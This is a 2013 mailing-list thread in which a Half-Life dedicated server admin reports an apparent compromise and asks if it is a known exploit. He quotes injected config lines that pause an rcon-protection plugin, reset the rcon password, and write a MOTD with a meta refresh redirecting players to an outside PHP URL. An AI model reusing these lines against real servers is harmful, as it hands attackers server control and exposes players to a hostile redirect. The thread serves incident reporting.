Looks like there might be a new exploit or hack. Somehow, someone was able to create a maps folder in my amxmodx config folder and create map specific cfg files and added the following lines to it:
amxx pause rcon_defencer.amxx rcon_password "56425642" motdfile motd.txt motd_write <META HTTP-EQUIV=Refresh CONTENT="0 URL=http://78.110.63.117//abunaimo.php?jecttely=674660";> I dont use ftp on the box, only access to the box is via ssh and the ssh port is a completely random port and the password is 25+ character completely random password. So I dont think anyone could have gained access to the box directly to do this. Is there a known exploit or hack that does this? This was done with only one HLDS setup on the box while the other HLDS setups were not effected. These files are what were causing my issue of not being able to remotely connect with the rcon specified in server.cfg ________________________________ From: Ken Bateman <novadeni...@gmail.com> To: Collin Howard <my_azz...@yahoo.com>; Half-Life dedicated Linux server mailing list <hlds_linux@list.valvesoftware.com> Sent: Tuesday, January 1, 2013 1:43:32 AM Subject: Re: [hlds_linux] Remote connection with rcon On Tue, Jan 1, 2013 at 1:15 AM, Collin Howard <my_azz...@yahoo.com> wrote: >From the looks of it, server.cfg is not automatically executing when the map >changes and even when I restart the hlds. Anyone have a clue on whats going >on? Doing exec server.cfg in console executed the config file and rcon started >working. Any ideas? > Is servercfgfile set to "server.cfg"? Is it being set to something different on the command line or in autoexec.cfg? -Ken _______________________________________________ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
